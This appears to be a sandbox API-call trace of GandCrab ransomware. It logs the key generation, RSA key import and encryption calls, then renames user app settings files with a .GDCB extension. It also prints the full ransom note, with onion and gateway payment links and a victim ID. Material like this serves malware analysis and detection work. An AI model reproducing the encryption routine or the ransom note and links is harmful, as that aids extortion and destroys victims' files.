CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0223.283] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6486680) returned 1 [0223.284] CryptGetKeyParam (in: hKey=0x6486680, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0223.284] CryptEncrypt (in: hKey=0x6486680, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x77d0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x77d0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0223.287] GetLastError () returned 0x0 [0223.287] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0223.287] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.aad.brokerplugin_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0223.289] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x77e0000 [0223.290] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x77f0000 [0223.291] ReadFile (in: hFile=0x50c, lpBuffer=0x77f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x77f0000*, lpNumberOfBytesRead=0x285d8f8*=0x2000, lpOverlapped=0x0) returned 1 [0223.323] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x7900000 [0223.328] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.aad.brokerplugin_cw5n1h2txyewy\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.aad.brokerplugin_cw5n1h2txyewy\\settings\\settings.dat.gdcb")) returned 1 [0223.482] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0223.485] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0223.486] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0223.486] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0223.486] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0223.486] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0223.487] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0223.488] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0223.488] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0223.488] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0223.489] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0223.491] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6486800) returned 1 [0223.491] CryptGetKeyParam (in: hKey=0x6486800, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0223.491] CryptEncrypt (in: hKey=0x6486800, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x77c0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x77c0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0223.491] GetLastError () returned 0x0 [0223.491] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0223.491] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0223.493] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6486480) returned 1 [0223.493] CryptGetKeyParam (in: hKey=0x6486480, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0223.493] CryptEncrypt (in: hKey=0x6486480, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x77d0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x77d0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0223.493] GetLastError () returned 0x0 [0223.493] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0223.493] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0223.495] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x77e0000 [0223.496] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x77f0000 [0223.498] ReadFile (in: hFile=0x50c, lpBuffer=0x77f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x77f0000*, lpNumberOfBytesRead=0x285d8f8*=0x2210, lpOverlapped=0x0) returned 1 [0223.503] VirtualAlloc (lpAddress=0x0, dwSize=0x2210, flAllocationType=0x3000, flProtect=0x4) returned 0x7900000 [0223.508] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.AccountsControl_cw5n1h2txyewy\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.accountscontrol_cw5n1h2txyewy\\settings\\settings.dat.gdcb")) returned 1 [0223.548] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0223.548] WriteFile (in: hFile=0x50c, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285d6ac, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285d6ac*=0xad6, lpOverlapped=0x0) returned 1 [0223.549] CloseHandle (hObject=0x50c) returned 1 [0223.584] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0223.586] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0223.588] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0223.588] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0223.588] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0223.588] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0223.590] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0223.591] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0223.591] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0223.591] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0223.591] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0223.593] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6486500) returned 1 [0223.593] CryptGetKeyParam (in: hKey=0x6486500, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0223.593] CryptEncrypt (in: hKey=0x6486500, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x77c0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x77c0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0223.594] GetLastError () returned 0x0 [0223.594] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0223.594] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0223.596] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6486440) returned 1 [0223.596] CryptGetKeyParam (in: hKey=0x6486440, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0223.596] CryptEncrypt (in: hKey=0x6486440, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x77d0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x77d0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0223.596] GetLastError () returned 0x0 [0223.596] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0223.596] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0223.598] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x77e0000 [0223.599] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x77f0000 [0223.600] ReadFile (in: hFile=0x50c, lpBuffer=0x77f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x77f0000*, lpNumberOfBytesRead=0x285d8f8*=0x2210, lpOverlapped=0x0) returned 1 [0223.607] VirtualAlloc (lpAddress=0x0, dwSize=0x2210, flAllocationType=0x3000, flProtect=0x4) returned 0x7900000 [0223.620] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Appconnector_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.appconnector_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 1 [0223.776] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0223.778] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0223.779] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0223.779] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0223.779] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0223.779] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0223.781] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0223.782] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0223.782] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0223.782] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0223.783] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0223.785] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6486540) returned 1 [0223.785] CryptGetKeyParam (in: hKey=0x6486540, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0223.785] CryptEncrypt (in: hKey=0x6486540, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x77c0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x77c0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0223.785] GetLastError () returned 0x0 [0223.785] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0223.785] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0223.787] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6486840) returned 1 [0223.787] CryptGetKeyParam (in: hKey=0x6486840, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0223.787] CryptEncrypt (in: hKey=0x6486840, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x77d0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x77d0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0223.787] GetLastError () returned 0x0 [0223.787] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0223.787] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0223.788] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x77e0000 [0223.790] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x77f0000 [0223.792] ReadFile (in: hFile=0x50c, lpBuffer=0x77f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x77f0000*, lpNumberOfBytesRead=0x285d8f8*=0x2210, lpOverlapped=0x0) returned 1 [0223.800] VirtualAlloc (lpAddress=0x0, dwSize=0x2210, flAllocationType=0x3000, flProtect=0x4) returned 0x7900000 [0223.805] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingFinance_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bingfinance_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 1 [0223.928] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0223.931] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0223.932] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0223.932] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0223.932] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0223.932] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4e48) returned 1 [0223.933] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0223.935] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0223.935] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0223.935] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0223.935] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4e48) returned 1 [0223.937] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6486080) returned 1 [0223.937] CryptGetKeyParam (in: hKey=0x6486080, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0223.937] CryptEncrypt (in: hKey=0x6486080, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x77c0000*, pdwDataLen=0x285d8b4*=0xc8, dwBufLen=0x800 | out: pbData=0x77c0000*, pdwDataLen=0x285d8b4*=0x100) returned 1 [0223.938] GetLastError () returned 0x0 [0223.938] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0223.938] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4980) returned 1 [0223.939] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x64860c0) returned 1 [0223.939] CryptGetKeyParam (in: hKey=0x64860c0, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0223.939] CryptEncrypt (in: hKey=0x64860c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x77d0000*, pdwDataLen=0x285d8b8*=0xc8, dwBufLen=0x800 | out: pbData=0x77d0000*, pdwDataLen=0x285d8b8*=0x100) returned 1 [0223.940] GetLastError () returned 0x0 [0223.940] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0223.940] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50c [0223.941] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x77e0000 [0223.943] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x77f0000 [0223.944] ReadFile (in: hFile=0x50c, lpBuffer=0x77f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d8f8, lpOverlapped=0x0 | out: lpBuffer=0x77f0000*, lpNumberOfBytesRead=0x285d8f8*=0x2210, lpOverlapped=0x0) returned 1 [0223.953] VirtualAlloc (lpAddress=0x0, dwSize=0x2210, flAllocationType=0x3000, flProtect=0x4) returned 0x7900000 [0223.958] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.BingWeather_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.bingweather_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 1 [0223.997] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0223.999] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.001] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.001] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d89c | out: pbBuffer=0x285d89c) returned 1 [0224.001] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.001] CryptAcquireContextW (in: phProv=0x285d74c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d74c*=0x5c4760) returned 1 [0224.002] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0224.003] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0224.003] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d868 | out: pbBuffer=0x285d868) returned 1 [0224.003] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0224.004] CryptAcquireContextW (in: phProv=0x285d73c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d73c*=0x5c4760) returned 1 [0224.006] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d740 | out: phKey=0x285d740*=0x6486100) returned 1 [0224.006] CryptGetKeyParam (in: hKey=0x6486100, dwParam=0x8, pbData=0x285d72c, pdwDataLen=0x285d734, dwFlags=0x0 | out: pbData=0x285d72c*=0x800, pdwDataLen=0x285d734*=0x4) returned 1 [0224.006] CryptEncrypt (in: hKey=0x6486100, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x77c0000*, 